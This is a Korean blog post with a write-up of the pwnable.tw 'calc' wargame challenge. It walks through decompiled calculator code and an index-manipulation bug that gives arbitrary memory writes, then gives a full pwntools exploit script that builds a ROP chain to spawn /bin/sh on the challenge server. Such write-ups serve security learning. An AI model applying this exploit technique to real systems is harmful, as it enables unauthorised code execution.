ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (627)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (14)
      • dreamhack (13)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

[pwnable.tw] calc write-up
write-up(pwn)/pwnable.tw

[pwnable.tw] calc write-up

2024. 9. 17. 22:52

어렵네 ㅋㅋ

 

시간 제한이 걸려있는 계산기다.

편의를 위해 변수 이름을 바꾸고 구조체를 만들었다.

00000000 pool_st         struc ; (sizeof=0x194, mappedto_16)
00000000                                         ; XREF: calc/r
00000000 pool_idx        dd ?                    ; XREF: calc+7D/r
00000004 buf             dd 100 dup(?)           ; XREF: calc+86/r
00000194 pool_st         ends
00000194

메인 함수는 계산기 함수 calc를 호출해준다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ssignal(0xE, timeout);
  alarm(0x3C);
  puts("=== Welcome to SECPROG calculator ===");
  fflush(stdout);
  calc();
  return puts("Merry Christmas!");
}

계산식을 입력받아서 계산해주는 구조를 가지고 있다.

unsigned int calc()
{
  pool_st pool; // [esp+18h] [ebp-5A0h] BYREF
  char expr[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
  unsigned int canary; // [esp+5ACh] [ebp-Ch]

  canary = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(expr, 0x400u);
    if ( !get_expr(expr, 0x400) )
      break;
    init_pool(&pool);
    if ( parse_expr(expr, &pool) )
    {
      printf("%d\n", pool.buf[pool.pool_idx - 1]);
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ canary;
}

계산식에는 0~9까지와 연산 기호만 입력할 수 있게 되어 있다.

int __cdecl get_expr(char *expr_1, int size)
{
  int idx_; // eax
  char expr; // [esp+1Bh] [ebp-Dh] BYREF
  int idx; // [esp+1Ch] [ebp-Ch]

  idx = 0;
  while ( idx < size && read(0, (int)&expr, 1) != 0xFFFFFFFF && expr != '\n' )
  {
    if ( expr == '+' || expr == '-' || expr == '*' || expr == '/' || expr == '%' || expr > 0x2F && expr <= 0x39 )
    {
      idx_ = idx++;
      expr_1[idx_] = expr;
    }
  }
  expr_1[idx] = 0;
  return idx;
}

pool은 임시 버퍼로 할용되는 것 같은데 계산할 때 마다 초기화해준다.

pool_st *__cdecl init_pool(pool_st *pool)
{
  pool_st *result; // eax
  int idx; // [esp+Ch] [ebp-4h]

  result = pool;
  pool->pool_idx = 0;
  for ( idx = 0; idx <= 0x63; ++idx )
  {
    result = pool;
    pool->buf[idx] = 0;
  }
  return result;
}

계산식을 해석해서 계산하는 함수를 호출해주는 함수다.

int __cdecl parse_expr(char *expr1, pool_st *pool)
{
  int pool_idx; // eax
  char *expr2; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int idx; // [esp+28h] [ebp-80h]
  char *size; // [esp+2Ch] [ebp-7Ch]
  char *op; // [esp+30h] [ebp-78h]
  int op_num; // [esp+34h] [ebp-74h]
  char expr_result[100]; // [esp+38h] [ebp-70h] BYREF
  unsigned int canary; // [esp+9Ch] [ebp-Ch]

  canary = __readgsdword(0x14u);
  expr2 = expr1;
  idx = 0;
  bzero(expr_result, 0x64u);
  for ( i = 0; ; ++i )
  {
    // not number
    if ( (unsigned int)(expr1[i] - 0x30) > 9 )
    {
      size = (char *)(&expr1[i] - expr2);
      op = (char *)malloc(size + 1);
      memcpy(op, expr2, size);
      op[(_DWORD)size] = 0;
      if ( !strcmp(op, "0") )
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      op_num = atoi(op);
      if ( op_num > 0 )
      {
        pool_idx = pool->pool_idx++;
        pool->buf[pool_idx] = op_num;
      }
      if ( expr1[i] && expr1[i + 1] - (unsigned int)'0' > 9 )
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      expr2 = &expr1[i + 1];
      if ( expr_result[idx] )
      {
        switch ( expr1[i] )
        {
          case '%':
          case '*':
          case '/':
            if ( expr_result[idx] != '+' && expr_result[idx] != '-' )
              goto LABEL_14;
            expr_result[++idx] = expr1[i];
            break;
          case '+':
          case '-':
LABEL_14:
            eval(pool, expr_result[idx]);
            expr_result[idx] = expr1[i];
            break;
          default:
            eval(pool, expr_result[idx--]);
            break;
        }
      }
      else
      {
        expr_result[idx] = expr1[i];
      }
      if ( !expr1[i] )
        break;
    }
  }
  while ( idx >= 0 )
    eval(pool, expr_result[idx--]);
  return 1;
}

실제 계산을 수행하는 함수다.

pool_st *__cdecl eval(pool_st *pool, char expr)
{
  pool_st *result; // eax

  if ( expr == '+' )
  {
    pool->buf[pool->pool_idx - 2] += pool->buf[pool->pool_idx - 1];
  }
  else if ( expr > '+' )
  {
    if ( expr == '-' )
    {
      pool->buf[pool->pool_idx - 2] -= pool->buf[pool->pool_idx - 1];
    }
    else if ( expr == '/' )
    {
      pool->buf[pool->pool_idx - 2] /= pool->buf[pool->pool_idx - 1];
    }
  }
  else if ( expr == '*' )
  {
    pool->buf[pool->pool_idx - 2] *= pool->buf[pool->pool_idx - 1];
  }
  result = pool;
  --pool->pool_idx;
  return result;
}

 

parse_expr 함수를 보면 op_num과 0을 signed로 비교한다. 

      if ( op_num > 0 )
      {
        pool_idx = pool->pool_idx++;
        pool->buf[pool_idx] = op_num;
      }


맨 앞에 숫자가 아닌 연산 기호를 쓰게 되면
pool_idx를 바꿀 수 있고 AAW를 할 수 있게 된다.

 

그걸 이용해서 pool 영역 아래에 rop 페이로드를 작성하고 해당 주소로 점프하도록 만들면 된다.

pool 영역은 계속해서 초기화되기 때문에 pool 영역 아래에 페이로드를 작성했어야 했다.

(32비트이므로 syscall이 아닌 int 0x80을 사용)

from pwn import *

context.log_level = 'debug'

# p = process('./calc')
p = remote('chall.pwnable.tw', 10100)

p.recvline()
pay = b'-8'
p.sendline(pay)
binsh = (int(p.recvline().decode(),10) + 0x320) & 0xffffffff
print('[binsh]',hex(binsh))

# /bin/sh
pay = b'+560+'+str(0x6e69622f).encode()
p.sendline(pay)
p.recvline()
pay = b'+561-'+str(0x6e69622f-0x0068732f).encode()
p.sendline(pay)
p.recvline()

# pop eax
pay = b'+569+'+str(0x0805c34b).encode()
p.sendline(pay)
p.recvline()

pay = b'+570-'+str(0x0805c34b-0xb).encode()
p.sendline(pay)
p.recvline()

# pop edx ; pop ecx ; pop ebx ; ret
pay = b'+571+'+str(0x080701d0-0x0805c34b+0xb).encode()
p.sendline(pay)
p.recvline()

pay = b'+572-'+str(0x080701d0-0x0805c34b+0xb).encode()
p.sendline(pay)
p.recvline()

pay = b'+573-'+str(0x080701d0-0x0805c34b+0xb).encode()
p.sendline(pay)
p.recvline()

pay = b'+574-'+str(0x100000000-binsh+(0x080701d0-0x0805c34b+0xb)).encode()
p.sendline(pay)
p.recvline()

# int 0x80
pay = b'+575+'+str(0x08049a21 - ((0x100000000-binsh)+(0x080701d0-0x0805c34b+0xb))).encode()
p.sendline(pay)
p.recvline()

# eip control
# 0x080493f2
# add esp, 8ECh
pay = b'-7+55851'
p.sendline(pay)

p.interactive()

'''
/bin/sh
6e69622f   1852400175
0068732f   6845231

0x080701d0 : pop edx ; pop ecx ; pop ebx ; ret
0x08049a21 : int 0x80

0x08056E1D : add esp, 8ECh
'''

'write-up(pwn) > pwnable.tw' 카테고리의 다른 글

[pwnable.tw] orw write-up  (0) 2024.08.19
[pwnable.tw] start write-up  (0) 2024.08.16
    'write-up(pwn)/pwnable.tw' 카테고리의 다른 글
    • [pwnable.tw] orw write-up
    • [pwnable.tw] start write-up
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바